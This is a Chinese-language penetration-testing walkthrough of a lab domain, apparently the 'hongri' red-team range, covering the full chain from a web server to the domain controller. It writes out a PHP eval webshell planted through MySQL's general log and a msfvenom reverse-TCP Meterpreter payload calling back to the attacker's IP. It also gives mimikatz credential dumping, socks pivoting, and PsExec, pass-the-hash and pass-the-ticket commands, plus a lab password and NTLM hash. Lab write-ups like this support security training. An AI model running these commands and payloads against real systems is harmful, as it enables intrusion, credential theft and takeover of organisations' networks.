一、环境搭建
- 添加一个VMnet2的配置(192.168.53.0/24)。
- 最终利用到的网卡配置信息。
- 详细的ip配置。
主机名 | 等级 | 网卡地址 |
---|---|---|
windows2008 | 域控 | (host-only)192.168.52.138(VMnet2) |
windiws7 | web服务器W | (双网卡host-only)192.168.52.143(VMnet2)/192.168.31.128(VMnet1) |
windows2003 | 内网普通机器 | (host-only) 192.168.52.141(VMnet2) |
kali | 攻击机 | (host-only)192.168.31.129(VMnet1) |
二、拿下web服务器
信息收集
- 使用nmap扫描192.168.31.0/24,发现192.168.31.128的ip开放了80和3306端口。这里的192.168.31.1是本机的地址,而192.168.31.129是攻击机的地址,不考虑进行利用。
nmap 192.168.31.0/24
- 登录80端口之后发现是phpStudy的探针网页。
- 使用dirserch工具扫描192.168.31.128:80,发现存在关键文件phpinfo.php和phpmyadmin。
./dirsearch.py -u "192.168.31.128:80" -w ../top3000.txt
通过phpmyadmin拿下webshell
- 登录phpmyadmin尝试使用弱口令进行登录,发现root/root成功登录。
-
查看secure_file_priv的值是否为"“,如果是”“而,不是"NULL”,就说明我们可以通过使用file_into写入webshell。但是这里发现值为NULL说明无法使用file_into写入webshell。
show global variables like "%secure%"
- 尝试使用全局日志getshell,首先要先查看下全局变量general,发现是关闭的,所以需要我们进行开启全局日志。
show global variables like "%general%"
- 开启全局日志并且将log日志文件存放于C:/phpStudy/WWW/hack.php,这里的网站路径位置是从php探针中得到的。
set global general_log=ON;
set global general_log_file='C:\phpStudy\WWW\hack.php';
- 写码
select '<?php eval($_POST[hack]);?>'
- 使用蚁剑进行连接,发现连接成功,说明拿到了Webshell。
三、内网渗透
信息收集
通过CS进行内网信息收集
- 开启团队服务器,可以是本机的ip地址。(忽略https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/%E7%BA%A2%E6%97%A51/的说明)
./teamserver 192.168.31.128(服务器地址,可以是本机的ip地址) 123456(服务器的连接密码)
- 创建客户机,是自己的ip地址。(忽略https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/%E7%BA%A2%E6%97%A51/的说明)
./cobaltstrike
HOST:192.168.31.129(是自己的ip地址,如果是在服务器上使用的话就是服务器的ip地址)
Password:服务器连接密码
- 客户端创建监听器。
- 设置要监听的ip地址。
- 生成木马
- 选择木马的监听器
- 木马的存放位置
- 将木马上使用蚁剑传到网站中。
- 使用蚁剑进行运行该后门。
- 发现成功上线
- 右击选择会话交互(interact)即可进行交互。
- 输入sleep 0,可以很快速就出指令执行的结果,如果在实战中不可以设置太短,这里由于是自己搭建的,所以无所谓。
- 在上线的机器右击,选择浏览探测下的网络探测,发现存在三台机器,并且OWA是PDC,即是域控。
- 进行权限提升,提权成功。
- 查看系统的信息。
- 扫描端口,还发现了域名是GOD。
- 查看NTLM值。
- 抓取明文密码
- 点击视图里面的密码凭证可以清晰的查看到明文密码。
- 整理收集到的内网信息。
NTLM | 用户 | 明文密码 | 域 |
---|---|---|---|
8c535a2d84c3b21059d667639bb89db5 | Administrator | hongrisec@2022 | GOD |
名字 | IP地址 | 端口 |
---|---|---|
OWA(域控) | 192.168.52.138 | 53、80、88、135、139、389、445、464、593、636 |
ROOT-TVI862UBEH | 192.168.52.141 | 21、135、139、445、777 |
STU1 | 192.168.52.143 | 80、135、139、445 |
- 根据上一步所获取到的存活主机、端口、hash值、明文密码、域名、系统信息之后,我们就完成了内网信息收集的工作,接下来就是要进行横向移动了。
首先使用梼杌插件开启3389远程端口,并且进行登录(GOD\Administrator,hongrisec@2022)
发现连接成功了。
通过MSF6进行内网信息收集
- 首先生成linux反向代理木马,通过蚁剑上传到目标中,并且运行他。
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.31.129 LPORT=2022 -f exe > run2.exe
发现反弹shell成功。
- 为了会话的稳定性,需要把meterpreter shell迁移到其他不容易被关闭的进程上,通常是explorer.exe(文件资源管理器),因此我们需要先查看下进程信息。
shell
tasklist | findstr explorer.exe
退出shell,迁移进程
migrate 2488(explorer.exe进程号)
- 开启3389端口。
use post/windows/manage/enable_rdp
set session 1
run
- 基本信息收集
基本信息收集:
systeminfo 详细信息(操作系统版本、补丁编号等信息)
net start 启动服务(查看当前主机开启了哪些服务,从服务中就可以判断它是什么角色)
tasklist 进程列表(查看当前主机开启了哪些进程)
schtasks 计划任务(若报错无法加载列资源,说明你的权限不够,因此要提权才能使用该命令)
网络信息收集:
ipconfig /all 判断存在域-最简单方式查看主DNS后缀
net view /domain 判断存在域
net time /domain 判断主域(主域就是域控的意思)【在域环境下查看当前时间】
nslookup <域控制器全名> 追踪来源地址
netstat -ano 当前网络端口开放
arp -a 查看arp信息,可以找到存活主机
用户信息收集操作:
whoami /all 用户权限
net config workstation 登录信息
net user 当前电脑里面的用户(本地用户)
net localgroup 本地用户组
net user /domain 当前域里面的用户
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器
这里就简单演示下一些信息的收集。
net view /domain #判断存在域,GOD、WORKGROUP域
net time /domain #判断存在主域,owa.god.org
wmic useraccount get /all #涉及域用户详细信息
net group "Domain Controllers" /domain 查询域控制器
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Admins" /domain 查询域管理员账户
net user #当前电脑里面的用户(本地用户)
ipconfig 查看网卡信息
探测存活主机
for /L %I in (1,1,254) do @ping -w 1 -n 1 192.168.52.%I | findstr "TTL =" #缺点,太慢了;优点是系统命令,不会被杀
其他:nmap,masscan,第三方Powershell脚本nishang、empire等(个人喜欢NiShang)
还可以使用arp -a进行存活主机的发现
ping域控,得到域控的ip地址
ping owa.god.org
- 获取凭证
使用mimikatz
load kiwi(kali版mimikatz)
查看kiwi的命令
help kiwi
想要读取LM/NTLM时,发现提示权限不够,查看现在的权限是管理员权限,不是系统权限。
使用getsystem提取,发现提权成功,然后再获取LM/NTLM的值,发现还暴露了明文密码,可以直接通过远程桌面进行登录。
creds_all
查看路由和添加路由
run get_local_subnets
run autoroute -s 192.168.52.128/24(目标环境)
run autoroute -p
添加完路由之后可以进行socks代理
进行socks代理,注意,proxychains只对tcp流量有效,所以udp和icmp都是不能代理转发的。
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 1080
run
vi /etc/proxychains.conf
#socks 127.0.0.1 9050
socks5 127.0.0.1 1080
进行扫描,查看端口开放信息
proxychains nmap -sT -Pn 192.168.52.143
proxychains nmap -sT -Pn 192.168.52.141
对上面得到的信息进行整理
NTLM | 用户 | 明文密码 | 域 |
---|---|---|---|
8c535a2d84c3b21059d667639bb89db5 | Administrator | hongrisec@2022 | GOD |
名字 | IP地址 | 端口 |
---|---|---|
OWA(域控) | 192.168.52.138 | 53、80、88、135、139、389、445、464、593、636 |
192.168.52.141 | 21、135、139、445、777 | |
STU1 | 192.168.52.143 | 80、135、139、445 |
横向移动
使用哈希传递(PTH)攻击
- 由于我们得到了明文,因此可以使用明文进行攻击,这里需要我们用到微软官方下载的软件包PSTools,这个只支持明文,不支持密文。
PsExec.exe \\192.168.52.138 -u god\administrator -p hongrisec@2022 -s cmd #成功,拿下域控了。
PsExec.exe \\192.168.52.141 -u god\administrator -p hongrisec@2022 -s cmd #失败
- 使用PTH进行哈希传递攻击,由于PSTools工具包支持明文,不支持密文,所以需要我们下载第三方包impacket。
psexec -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138 #成功,拿下域控了。
psexec -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.141 #成功
使用票据传递(PTT)攻击
- 生成票据
privilege::debug
sekurlsa::tickets /export
- 删除票据。
kerberos::purge
- 导入票据。
kerberos::ptt "票据的路径加上文件名"
- 利用票据
查看域控的C盘是否确实存在我是域控的文件夹,发现确实存在,此时拿下了域控说明本次内网攻击完成。